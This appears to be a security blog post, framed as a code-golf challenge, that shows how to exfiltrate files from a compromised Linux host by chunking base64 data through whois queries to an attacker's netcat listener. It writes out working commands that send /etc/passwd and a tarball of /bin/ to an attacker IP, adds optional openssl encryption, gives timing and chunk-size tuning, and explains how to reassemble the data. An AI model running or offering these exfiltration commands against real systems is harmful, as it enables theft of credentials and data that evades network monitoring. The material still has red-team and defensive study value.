If you have never played Code Golf before, the essential idea is that you take a programming goal, such as “Print all prime numbers from 1 to 100”, and then try to do so in the most efficient / least amount of lines possible.

There is a great website where these challenges can be found: https://code-golf.io/

I enjoy playing code golf, so when I saw the following tweet, I had to try it out:

The tweet 1102558893513687040 from @Kevin2600 was deleted but it had the following commands in the image: (making up an IP since it was blacked out):

Victim:

whois -h 10.110.10.81 -p 4444 `cat /etc/passwd | base64`

Attacker:

nc -l -p 4444

Now, a lot of respondents mentioned that you could use the /dev/tcp method or awk.

While this is awesome and true, and for practicality should be used instead of whois, it is more about the mental stretch and exercise for me. You never know, there might a situation where you can’t use either of those and whois is still there.

This is the solution I came up with to both increase the file size limit, and add a bit of error correction:

(Here is my reply: https://twitter.com/mubix/status/1102780435271176198)

First we set up a listener:

root@attackbox:~# ncat -k -l -p 4444 | tee files.b64

tee is used to pipe the contents to a file as well as see it on the console so you can make sure you have it. You can substitute this with just > files.b64 if you wish.

Options:

  • -k: means keep the connection open. We need this option as we are going to be doing many requests with whois
  • -l: listen on a port.. and
  • -p: what port to listen on

Next we send the files over the wire:

root@victim:~# tar czf - /bin/* | base64 | xargs -I bits timeout 0.03 whois -h 192.168.80.107 -p 4444 bits

Breakdown:

  • tar czf - /bin/*: Create a tar ball using compression(c), and gzip(z) to the file(f) of standard output(-) using all of the files in the bin folder (/bin/*)
  • base64: Base64 encode that standard output
  • xargs -I bits: for every line do the following command while replacing the word bits in the command with the contents of the preceding lines (from the base64)
  • timeout 0.03: This times out the whois command so that it closes the connection because there isn’t a response from the other end (it’s just capturing packets). This is REALLY fast and only should be used in LAN connections. Set the timeout to 0.10 or similar for doing things across the Internet.
  • whois -h 192.168.80.107 -p 4444 bits: Send the bits(which is replaced with the base64 line) whois query to 192.168.80.107 over port 4444.

What you should see on the attacker side is a bunch of Base64 lines scrolling across the screen.

Finally:

root@attackbox:~# cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv

Breakdown:

  • cat files.b64: print all the base64 lines to standard output
  • tr -d '\r\n': remove all the newlines and returns to make one long base64 line to decode
  • base64 -d: decode the base64 line
  • tar zxv: x extract the tar ball using z gzip and be v verbose about it.

Errors:

  • If you receive a base64: invalid input when doing the final step it is most likely that your timeout was too fast and some of the lines didn’t transfer completely.

  • If you get something like the following you have had some corruption during the transfer. This can happen and does so a lot during such a long transfer (13 MB took 98 minutes as you’ll see below).

    bin/bash
    bin/brltty
    
    gzip: stdin: invalid compressed data--format violated
    tar: Unexpected EOF in archive
    tar: Unexpected EOF in archive
    tar: Error is not recoverable: exiting now
    

Improvements:

Speed:

One improvement to the speed is the number of bytes you send with each whois request, which is based on the line length of the base64 output with the -w flag. I have been able to increase this to 255 without much trouble like so: base64 -w255

Example:

tar czf - /bin/* | base64 -w255 | xargs -I bits timeout 0.20 whois -h 192.168.80.107 -p 4444 bits

Even with this speed up sending all of /bin/ took 98 minutes using a timeout of 0.20. You can decrease this considerably depending on the network connection you have between the victim and attackerbox, but you need to be careful or you’ll end up with corrupted data if you go too fast.

Size of /bin/:

root@victim:~# du -h /bin/
13M     /bin/

Total time:

root@victim:~# time tar czf - /bin/* | base64 -w 255 | xargs -I bits timeout 0.20 whois -h 192.168.80.107 -p 4444 bits

real    98m7.673s
user    1m25.792s
sys     0m46.706s

Encryption:

While adding encryption will add more complexity and size to the transfer it will ensure confidentiality of the data being transfered. Simply adding openssl enc -e -aes256 -out - to the line before the base64 works to solve this (as long as you select a good password). You will also need a full TTY (interactive terminal) to do this as it will prompt you for a password twice.

Example:

tar czf - /bin/* | openssl enc -e -aes256 -out - | base64 -w 255 | xargs -I bits timeout 0.20 whois -h 192.168.80.107 -p 4444 bits

Challenge

Think you can make this more efficient? Add error correction? I would love to see tweets or comments stating where this can be improved using only built in binaries (no python/ruby/perl/awk). Let me know! I look forward to hearing from you.

Other methods

For those looking for a lot more file uploads or other such exploitation techniques, check out GTFOBins and in particular https://gtfobins.github.io/#+file%20upload. whois is detailed here: https://gtfobins.github.io/gtfobins/whois/